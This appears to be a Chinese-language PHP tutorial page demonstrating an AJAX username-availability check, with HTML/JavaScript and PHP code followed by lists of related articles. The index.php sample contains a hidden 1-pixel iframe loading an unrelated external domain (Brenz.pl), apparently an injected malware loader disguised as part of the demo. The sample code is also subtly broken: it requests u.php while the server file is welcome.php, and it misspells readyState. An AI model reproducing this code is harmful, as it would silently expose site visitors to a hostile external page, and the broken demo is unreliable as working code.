PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
ThinkPHP关联模型操作实例分析
Sep 23 PHP
PHP 如何利用phpexcel导入数据库
Aug 24 PHP
php使用curl模拟登录后采集页面的例子
Nov 04 PHP
PHP+javascript制作带提示的验证码源码分享
May 28 PHP
基于PHP给大家讲解防刷票的一些技巧
Nov 18 PHP
分享PHP计算两个日期相差天数的代码
Dec 23 PHP
Yii基于数组和对象的Model查询技巧实例详解
Dec 28 PHP
详解php中空字符串和0之间的关系
Oct 23 PHP
PHP htmlspecialchars()函数用法与实例讲解
Mar 08 PHP
laravel框架使用FormRequest进行表单验证,验证异常返回JSON操作示例
Feb 18 PHP
基于php伪静态的实现方法解析
Jul 31 PHP
XAMPP升级PHP版本实现步骤解析
Sep 04 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
坏狼的PHP学习教程之第1天
2008/06/15 PHP
《PHP编程最快明白》第二讲 数字、浮点、布尔型、字符串和数组
2010/11/01 PHP
php4与php5的区别小结(配置异同)
2011/12/20 PHP
PHP常用技巧总结(附函数代码)
2012/02/04 PHP
PHP中cookie和session的区别实例分析
2014/08/28 PHP
ubuntu下配置nginx+php+mysql详解
2015/09/10 PHP
jQuery.validate 常用方法及需要注意的问题
2013/03/20 Javascript
jQuery实现用户注册的表单验证示例
2013/08/28 Javascript
js实现内容显示并使用json传输数据
2016/03/16 Javascript
JS制作类似选项卡切换的年历
2016/12/03 Javascript
vue实现简单实时汇率计算功能
2017/01/15 Javascript
vue.js指令v-model使用方法
2017/03/20 Javascript
微信小程序微信支付接入开发实例详解
2017/04/12 Javascript
vue时间格式化实例代码
2017/06/13 Javascript
详解vue-admin和后端(flask)分离结合的例子
2018/02/12 Javascript
Vue+Node实现商品列表的分页、排序、筛选,添加购物车功能详解
2019/12/07 Javascript
jQuery实现动态操作table行
2020/11/23 jQuery
python实现每次处理一个字符的三种方法
2014/10/09 Python
Python 实现数据库更新脚本的生成方法
2017/07/09 Python
酷! 程序员用Python带你玩转冲顶大会
2018/01/17 Python
使用Python3+PyQT5+Pyserial 实现简单的串口工具方法
2019/02/13 Python
Django组件content-type使用方法详解
2019/07/19 Python
Python列表切片常用操作实例解析
2020/03/10 Python
python 邮件检测工具mmpi的使用
2021/01/04 Python
Seavenger官网:潜水服、浮潜、靴子和袜子
2020/03/05 全球购物
Happy Socks英国官网:购买五颜六色的袜子
2020/11/03 全球购物
介绍一下代理模式(Proxy)
2014/10/17 面试题
员工培训邀请函
2014/02/02 职场文书
网络编辑职责
2014/03/01 职场文书
安全生产责任书
2014/03/12 职场文书
2014年中秋寄语
2014/08/11 职场文书
个人创业事迹材料
2014/12/30 职场文书
企业战略合作意向书
2015/05/08 职场文书
汉字听写大会观后感
2015/06/12 职场文书
导游词之桂林
2019/08/20 职场文书
如何开启Apache,Nginx和IIS服务器的GZIP压缩功能
2022/04/29 Servers